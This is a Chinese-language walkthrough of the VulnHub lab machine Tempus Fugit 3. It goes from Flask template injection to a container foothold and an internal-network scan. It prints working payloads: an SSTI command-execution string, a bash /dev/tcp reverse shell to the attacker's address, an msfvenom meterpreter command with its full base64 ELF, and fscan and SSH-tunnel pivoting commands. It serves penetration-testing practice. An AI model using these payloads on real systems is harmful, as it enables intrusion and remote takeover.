从SSTI模板注入到docker容器内网渗透:靶机练习之Tempus_fugit3

靶机提示

sstisqlite文件破解内网渗透容器

靶机下载

https://download.vulnhub.com/tempusfugit/Tempus-Fugit-3.ova

信息搜集

nmap -sT --min-rate 10000 -p- 192.168.8.250

很简单的信息,只有一个web页面

SSTI模板注入漏洞

无意中发现404似乎都是有个统一的拦截页面

{{2*2}}}

直接注入payload,果然存在ssti漏洞

先查看配置,定位服务端模板版本

{{config}}

根据特征推断服务端是flask

同时base64解码拿到第一个flag

flask ssti注入payload

{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}

成功回显

反弹shell

{{ request.application.__globals__.__builtins__.__import__('os').popen('bash -c "/bin/bash -i >& /dev/tcp/192.168.8.251/4444 0>&1"').read() }}

sqlite 数据窃取

app.py文件中发现了第一个flag,以及数据库密码,

pragma key='SecretssecretsSecrets...'

并且用的时sqlite数据库
SQLite 是一个嵌入式的、进程内(in-process)、无服务器、零配置、事务性的 SQL 数据库引擎,它只在本地生成一个文件

顺着app.py源码指示的路径也发现了db文件

sqlite交互

登录

sqlcipher db2.db --interactive

输入密码

PRAGMA key = 'SecretssecretsSecrets...';

hugh-janus|S0secretPassW0rd anita-hanjaab|ssdf%dg5xc clee-torres|asRtesa#2s RmxhZzN7IEhleSwgcmVhZGluZyBzZWNyZXRzICB9|

拿到第三个flag

后台源码泄露


源码里面拿到flag2


提权

想进一步利用时发现,反弹shell是受限的

推断可能是容器shell

拿到shell后无法执行查看网络的命令,同时也没有curl/wget等命令,再联想到端口服务探测时,发现80端口只是nginx服务,猜测可能是docker容器

摆脱受限容器

生成一个不依赖任何运行时(curl/wget/python)的纯二进制后门

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.8.251 LPORT=6666 -f elf -o ex.elf

将 ELF 二进制转为 Base64 文本传输
-w0禁止换行

cat ex.elf| base64 -w0

在靶机生成payload

echo 'f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgAaCsCoCPtRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==' |base64 -d > ex.elf

msf启动监听

拿到meterpreter shell

内网渗透

先拿到内网ip

上传fscan

meterpreter > upload /root/tools/fscan

进入shell

fscan -h 192.168.100.0/24

发现了192.168.100.1

端口扫描

./fscan -h 192.168.100.0/24 -p 1-65535 -t 50

开了34193端口和80端口

端口转发

把内网端口通过ssh隧道转发到kali

ssh -N -R 5555:192.168.100.1:80 root@192.168.8.251

ps靶机环境似乎有问题,卡在这边整了很久,看了一下wp内网的192.168.100.1机器的还有个443端口,但是靶机的443似乎没有启动起来,暂时先这样。